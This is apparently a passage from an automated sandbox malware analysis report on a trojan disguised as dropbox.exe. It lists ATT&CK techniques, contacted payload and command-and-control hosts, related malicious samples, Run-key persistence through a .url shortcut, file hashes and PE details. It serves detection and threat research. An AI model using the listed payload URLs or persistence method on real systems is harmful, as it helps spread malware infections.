Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	2 Non-Application Layer Protocol	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	12 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dropbox.exe	18%	ReversingLabs	Win32.Trojan.InjectorX

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
geoplugin.net	0%	Virustotal		Browse
bestsuccess.ddns.net	14%	Virustotal		Browse

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geoplugin.net	178.237.33.50	true	false	0%, Virustotal, Browse	unknown
f0719949.xsph.ru	141.8.192.151	true	false		high
bestsuccess.ddns.net	194.5.98.141	true	true	14%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.8.192.151	f0719949.xsph.ru	Russian Federation		35278	SPRINTHOSTRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	705805
Start date and time:	2022-09-19 22:36:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	dropbox.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.troj.winEXE@3/4@5/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Execution Graph export aborted for target Uuddcmhn.exe, PID 5732 because there are no executed function
Execution Graph export aborted for target dropbox.exe, PID 5608 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:37:03	API Interceptor	1x Sleep call for process: dropbox.exe modified
22:37:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Uuddcmhn C:\Users\Public\Libraries\nhmcdduU.url
22:37:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Uuddcmhn C:\Users\Public\Libraries\nhmcdduU.url
22:37:44	API Interceptor	2x Sleep call for process: Uuddcmhn.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
141.8.192.151	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
	NotaFiscal.msi	Get hash	malicious	Browse	f0717271.xsph.ru/serv.php
	Revised sales contract for Crosswear.rtf	Get hash	malicious	Browse	f0705964.xsph.ru/mum.exe
	cxbqjWw79R.exe	Get hash	malicious	Browse	f0702521.xsph.ru/cmd.php?hwid=computer%5Cuser&gpuname=88P9A4OS;%20&mining=1&active=XMR
	IVBPFW.exe	Get hash	malicious	Browse	f0702055.xsph.ru/ng.txt
	NOPL-25-JULY-001.doc	Get hash	malicious	Browse	f0699262.xsph.ru/letter.exe
	300618c6e81ee458a3aba4188f0f24937f62974991428.exe	Get hash	malicious	Browse	f0699616.xsph.ru/RATTCRYPT.exe
	http://f0688845.xsph.ru/index.php	Get hash	malicious	Browse	f0688845.xsph.ru/favicon.ico
	18561381.exe	Get hash	malicious	Browse	f0645594.xsph.ru/build.exe
	bd250e1cb4f8d322a5464549dc067ac7bcbecfc2d4fca.exe	Get hash	malicious	Browse	f0641877.xsph.ru/lam1di.exe
	9WPRwZwY47.exe	Get hash	malicious	Browse	f0624763.xsph.ru/MicrosoftApi.exe
	2a09Y5NsoG.exe	Get hash	malicious	Browse	f0611101.xsph.ru/1.exe
	NFe_09112021123.msi	Get hash	malicious	Browse	f0589562.xsph.ru//arqvs//zlibai.dll
	VapeV4Installer (2).exe	Get hash	malicious	Browse	f0587499.xsph.ru/dop.exe
	7ofFMoirr5.exe	Get hash	malicious	Browse	f0589056.xsph.ru/bfs.exe
	SecuriteInfo.com.W32.AIDetect.malware1.10225.exe	Get hash	malicious	Browse	f0589056.xsph.ru/bfs.exe
	6WdUMjf00o.exe	Get hash	malicious	Browse	f0565382.xsph.ru/SteamWebHelper.exe
	Fortnite hack.exe	Get hash	malicious	Browse	f0579030.xsph.ru/Miner.exe
	l5ZpvaSzyp.exe	Get hash	malicious	Browse	f0566525.xsph.ru/collect.php
	SGwddoXM1s.exe	Get hash	malicious	Browse	f0566304.xsph.ru/collect.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
geoplugin.net	Image001.exe	Get hash	malicious	Browse	178.237.33.50
	SecuriteInfo.com.Win32.RATX-gen.24172.exe	Get hash	malicious	Browse	178.237.33.50
	Shiping Details PL BL Draft IVN-FDX54635537355.exe	Get hash	malicious	Browse	178.237.33.50
	image2021042GFREDS12322ERDQ1DOC03027382DOC202.exe	Get hash	malicious	Browse	178.237.33.50
	AkmGoqGKLL.exe	Get hash	malicious	Browse	178.237.33.50
	Nova lista narudzbi.exe	Get hash	malicious	Browse	178.237.33.50
	SecuriteInfo.com.NSIS.InjectorX-gen.1168.exe	Get hash	malicious	Browse	178.237.33.50
	REQUEST FOR QUOTE 202209.exe	Get hash	malicious	Browse	178.237.33.50
	IZMIZJg1l3.exe	Get hash	malicious	Browse	178.237.33.50
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	178.237.33.50
	COMPRA_MB-220834-1A_Shihlin.exe	Get hash	malicious	Browse	178.237.33.50
	COMPRA_MB-220834-1A_Shihlin.img	Get hash	malicious	Browse	178.237.33.50
	SecuriteInfo.com.Win32.Trojan-gen.31084.exe	Get hash	malicious	Browse	178.237.33.50
	SecuriteInfo.com.W32.MSIL_Kryptik.HJS.gen.Eldorado.15975.exe	Get hash	malicious	Browse	178.237.33.50
	Invoice 38129337.exe	Get hash	malicious	Browse	178.237.33.50
	SecuriteInfo.com.Win32.CrypterX-gen.8546.exe	Get hash	malicious	Browse	178.237.33.50
	Direct_Deposit_Chase_0015022.xls	Get hash	malicious	Browse	178.237.33.50
	NEW INQUIRY DATA.exe	Get hash	malicious	Browse	178.237.33.50
	56032451742617.PDF.exe	Get hash	malicious	Browse	178.237.33.50
	New Purchase Order Ref No_00121383.js	Get hash	malicious	Browse	178.237.33.50
f0719949.xsph.ru	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	141.8.192.151

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SPRINTHOSTRU	de2912f0955e066d268cb9ea411c31d49878d94be3ce4.exe	Get hash	malicious	Browse	185.251.88.158
	A6C00A6F2299FE0E31028826DD8CFBADD30CDCDA50345.exe	Get hash	malicious	Browse	141.8.197.42
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Browse	141.8.192.151
	xvrJGMRVf7.exe	Get hash	malicious	Browse	141.8.192.26
	xvrJGMRVf7.exe	Get hash	malicious	Browse	141.8.192.26
	NotaFiscal.msi	Get hash	malicious	Browse	141.8.192.151
	file.exe	Get hash	malicious	Browse	176.119.147.44
	file.exe	Get hash	malicious	Browse	176.119.147.44
	file.exe	Get hash	malicious	Browse	176.119.147.44
	poGbuW7uon.exe	Get hash	malicious	Browse	141.8.192.151
	poGbuW7uon.exe	Get hash	malicious	Browse	141.8.192.151
	YXmhqlbn5I.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	cGwY6YCF2j.exe	Get hash	malicious	Browse	185.251.88.208
	L2li2Zt2oT.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	file.exe	Get hash	malicious	Browse	185.251.88.208
	eQcD7CKfU0.exe	Get hash	malicious	Browse	141.8.195.65

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\Public\Libraries\Uuddcmhn

Download File

Process:	C:\Users\user\Desktop\dropbox.exe
File Type:	data
Category:	dropped
Size (bytes):	480659
Entropy (8bit):	7.62462346641683
Encrypted:	false
SSDEEP:	6144:jrTXX3LmixWq7CZa6Lq9RbXexQVfidsgSIyt7vn5/ASMxTwJIVY/qT6IWJr3Nl:Lrm586LqvLfidsgSIyt7v5/Av4Aar3j
MD5:	BDA5D05E69D1250185EB2A960559D745
SHA1:	2A7F2817700777EEB0EF7696C7D5E690B0569A8B
SHA-256:	28FED22EE035133150117308519D9E27BA54195987582A21128ED1DB2499DC46
SHA-512:	299042F47CB7723B3A0C9A9F8EC2F73FF2B5B572BF2CECB9A8BB5BFC8E5FFEA8C9F6445C38885EF9B8984FE8FF996C7160A0617CF82F81B92F72F2869C84CA22
Malicious:	false
Reputation:	low
Preview:	..Yg..K...Kg.88.OQM..K.g{88 .g.{2.g..OQg..K...Kg.88.OQM..K.g{88 .g.{2.g..OQg..K...Kg.88.OQM..K.g{88 .g.{2.g..OQ.g..K...Kg.88.OQM..K.g{88 .g.{2.g..OQ.g..K...Kg.88.OQM..K.g{88 .g.{2.g..OQg..K...Kg.88.OQM..K.g{88 .g.{2.g..OQ...Z`bfrvthv..._..hr..n...v.....lbt.x.Z.vv.Zfp.f..Z..pn...nh.pjh..b...$..A.w. si.}2}.w.q...".y....2$..4.z....y..L...".nxdpjv...2`..}^..y... W\|.2f..(].$6......iy...w...g..01..6t.2.1. ...s[.....iO'.s"....GD4...p...>..kM.....w.E..Z..8c.4..4.2.wt..s.bfrjthvxx.....h..n?fZvv.`.lbt.x.Z.vlt..^.f@rZ..rn...n..jvjZ.b.jth.xx.....hrx..v..v.t.f.lbt.x...vj.Zfp.f..ZA.p^...nxdpZvZj.bfrjtxvxx.....hr.z.p..v....tlw..x.Z.vv.Zfp.f..Z..p.b.IVxd`WpZ..bfrjthvxx.....hr...c..^...T.rb..x.Z.vv.Zfp..j....pn...nxdpjvZZ.bfrjthvxx..<...y..n..\v.......t.l.Z.vv.Zfp.f..Z.p.<2..{.pj.&..b.jtk.xxRx...hr..nv..v.:..<..~0z.Z...Zf.f..Z...x...nxdpjvZZ.b.rj..}.,....rhr......l.....lbt.x.Z.vv.Zf..f.J.\|}.2..Ptxdp.ZZ.bfr.jhvxx.....hr...v.R.2...lbi>x.Z..v.-fp....Z..pn...nxdp.vZ.Bk...hv.P...a`hr<.

C:\Users\Public\Libraries\Uuddcmhn.exe

Download File

Process:	C:\Users\user\Desktop\dropbox.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	992256
Entropy (8bit):	6.880548939960924
Encrypted:	false
SSDEEP:	12288:QHbINWvoTEQYJGl/iUfkcogKuqAJA+1z48SDo5ynuzFl2LUv0eMqnexYA1l/XU:eb6ZeGBiAkcogKOi+1z6o5ynRxYA7/XU
MD5:	FC2881F54044ED23F7321DDC01522A50
SHA1:	B6872AD465D381D26AA4F21BDA18739171767E70
SHA-256:	DD983DB5065E2873594CF76AE8EC48F950E0A97DF4300A80A53D05632E557E81
SHA-512:	8B0C51C573EEF07DFB24E34E544F7EBEBF4E4F5089452D6D7DF9622870225F8572915E2F518AF79F2E71BDD0525EF95859BFD19B6AC3D172A00067A2DAA0C23F
Malicious:	false
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................8....................@..............................................@...........................p...)...@...k......................t\|...................................................w..p............................text............................... ..`.itext..`........................... ..`.data...4!......."..................@....bss.....6...0...........................idata...)...p.....................@....tls....4............8...................rdata...............8..............@..@.reloc..t\|.......~...:..............@..B.rsrc....k...@...l..................@..@.....................P..............@..@................................................................................................

C:\Users\Public\Libraries\Uuddcmhn.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\dropbox.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\Public\Libraries\nhmcdduU.url

Download File

Process:	C:\Users\user\Desktop\dropbox.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Uuddcmhn.exe">), ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	99
Entropy (8bit):	4.9258974387519805
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMAINLJIvsGKd5nuAKv:HRYFVmTWDyzSZJIvsb5nPKv
MD5:	07803BFEEA623C2B31CD843BD96CF6BC
SHA1:	018144BDDF3B1A9DEBFD297D9D7C5411C782B57E
SHA-256:	DCE84A848AD61447C19FE667168F25B85686A47A11F54F63D6D162A8721D126D
SHA-512:	5DD9BD7CCDCC6C37533CCD2843D0BCC76E1E62C7F803E8E27FDE384343144EAA8B944AD8A39B8D20D7F550F1E405D9191E99A12E097B538F9655F2CCCF76D46D
Malicious:	false
Yara Hits:	Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\nhmcdduU.url, Author: @itsreallynick (Nick Carr) Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\nhmcdduU.url, Author: @itsreallynick (Nick Carr)
Reputation:	low
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Uuddcmhn.exe"..IconIndex=16..HotKey=6..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.880548939960924
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	dropbox.exe
File size:	992256
MD5:	fc2881f54044ed23f7321ddc01522a50
SHA1:	b6872ad465d381d26aa4f21bda18739171767e70
SHA256:	dd983db5065e2873594cf76ae8ec48f950e0a97df4300a80a53d05632e557e81
SHA512:	8b0c51c573eef07dfb24e34e544f7ebebf4e4f5089452d6d7df9622870225f8572915e2f518af79f2e71bdd0525ef95859bfd19b6ac3d172a00067a2daa0c23f
SSDEEP:	12288:QHbINWvoTEQYJGl/iUfkcogKuqAJA+1z48SDo5ynuzFl2LUv0eMqnexYA1l/XU:eb6ZeGBiAkcogKOi+1z6o5ynRxYA7/XU
TLSH:	5D25AF27B7D25A33D027257A4F9F6394A86E7E2009245B830AE48A7C1FE5D443C375AF
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	34ecc6d4c4c4dad4

Static PE Info

General

Entrypoint:	0x46f9f8
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3d1ac7305ea9aac1e497d9a976f85a0a

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046D8CCh
call 00007FEFCCF73211h
mov eax, dword ptr [00471F6Ch]
mov eax, dword ptr [eax]
call 00007FEFCCFCEBC5h
mov eax, dword ptr [00471F6Ch]
mov eax, dword ptr [eax]
mov edx, 0046FA58h
call 00007FEFCCFCE634h
mov ecx, dword ptr [00471F90h]
mov eax, dword ptr [00471F6Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046D4B0h]
call 00007FEFCCFCEBB4h
mov eax, dword ptr [00471F6Ch]
mov eax, dword ptr [eax]
call 00007FEFCCFCEC28h
call 00007FEFCCF70F2Fh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x77000	0x29a6	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0x76bd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0x7c74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x7b000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x777d8	0x670	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6cb9c	0x6cc00	False	0.5207300646551725	data	6.545817787682854	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x6e000	0x1a60	0x1c00	False	0.41099330357142855	data	5.534815483683343	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x70000	0x2134	0x2200	False	0.40119485294117646	data	3.929911913261594	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x73000	0x36f0	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x77000	0x29a6	0x2a00	False	0.3178013392857143	data	5.187512967197114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x7a000	0x34	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x7b000	0x18	0x200	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0x7c74	0x7e00	False	0.6092199900793651	data	6.667633590631067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x84000	0x76bd0	0x76c00	False	0.4394880756578947	data	6.390635575847435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x84618	0x25a8	data
RT_ICON	0x86bc0	0x10a8	data
RT_ICON	0x87c68	0x988	data
RT_ICON	0x885f0	0x468	GLS_BINARY_LSB_FIRST
RT_STRING	0x88a58	0xc4	data
RT_STRING	0x88b1c	0x2d4	data
RT_STRING	0x88df0	0x2b0	data
RT_STRING	0x890a0	0xbc	data
RT_STRING	0x8915c	0x110	data
RT_STRING	0x8926c	0x248	data
RT_STRING	0x894b4	0x3ec	data
RT_STRING	0x898a0	0x390	data
RT_STRING	0x89c30	0x368	data
RT_STRING	0x89f98	0x354	data
RT_STRING	0x8a2ec	0xc0	data
RT_STRING	0x8a3ac	0x9c	data
RT_STRING	0x8a448	0x348	data
RT_STRING	0x8a790	0x478	data
RT_STRING	0x8ac08	0x310	data
RT_STRING	0x8af18	0x2f4	data
RT_RCDATA	0x8b20c	0x6e422	GIF image data, version 89a, 236 x 419	English	United States
RT_RCDATA	0xf9630	0x10	data
RT_RCDATA	0xf9640	0x3cc	data
RT_RCDATA	0xf9a0c	0x494	Delphi compiled form 'TLoginDialog'
RT_RCDATA	0xf9ea0	0x3c4	Delphi compiled form 'TPasswordDialog'
RT_GROUP_ICON	0xfa264	0x3e	data
RT_VERSION	0xfa2a4	0x92c	data

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharNextW, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
